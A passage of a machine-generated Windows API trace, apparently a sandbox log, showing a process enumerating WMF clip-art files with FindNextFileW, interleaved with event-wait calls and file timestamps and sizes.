dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0253.298] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x60609cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0253.299] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0253.299] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce30000, ftCreationTime.dwHighDateTime=0x1bd78be, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce30000, ftLastWriteTime.dwHighDateTime=0x1bd78be, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0253.299] ResetEvent (hEvent=0x118) returned 1 [0253.299] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0253.311] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0253.311] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a43700, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6a43700, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0253.311] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0253.312] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf650000, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf650000, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0253.312] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0253.312] ResetEvent (hEvent=0x118) returned 1 [0253.312] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0253.322] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe550c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe550c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0253.322] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8572f00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8572f00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0253.323] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8c4300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d8c4300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0253.323] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0253.323] ResetEvent (hEvent=0x118) returned 1 [0253.323] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0253.327] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0253.327] ResetEvent (hEvent=0x118) returned 1 [0253.327] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0253.698] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0253.698] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0253.698] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ecd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba4ecd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0253.698] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91da000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb91da000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0253.699] ResetEvent (hEvent=0x118) returned 1 [0253.699] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0253.726] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0253.726] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0253.726] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac04fe00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac04fe00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0253.727] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcb1e00, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcb1e00, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0253.728] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb92d600, ftCreationTime.dwHighDateTime=0x1bd4b42, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb92d600, ftLastWriteTime.dwHighDateTime=0x1bd4b42, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0253.728] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0253.728] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0253.729] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0253.729] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0253.729] ResetEvent (hEvent=0x118) returned 1 [0253.729] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0253.733] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0253.733] ResetEvent (hEvent=0x118) returned 1 [0253.733] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0253.845] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0253.845] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0253.846] ResetEvent (hEvent=0x118) returned 1 [0253.846] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0253.858] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0253.858] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0253.858] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0253.858] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0253.859] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0253.859] ResetEvent (hEvent=0x118) returned 1 [0253.859] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0253.873] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0253.873] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0253.874] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0253.874] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0253.874] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0253.875] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0253.875] ResetEvent (hEvent=0x118) returned 1 [0253.875] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0253.884] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0253.884] ResetEvent (hEvent=0x118) returned 1 [0253.884] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0253.887] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0253.887] ResetEvent (hEvent=0x118) returned 1 [0253.887] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0253.890] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0253.891] ResetEvent (hEvent=0x118) returned 1 [0253.891] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0253.894] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0253.894] ResetEvent (hEvent=0x118) returned 1 [0253.894] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0 [0254.040] FindNextFileW (in: 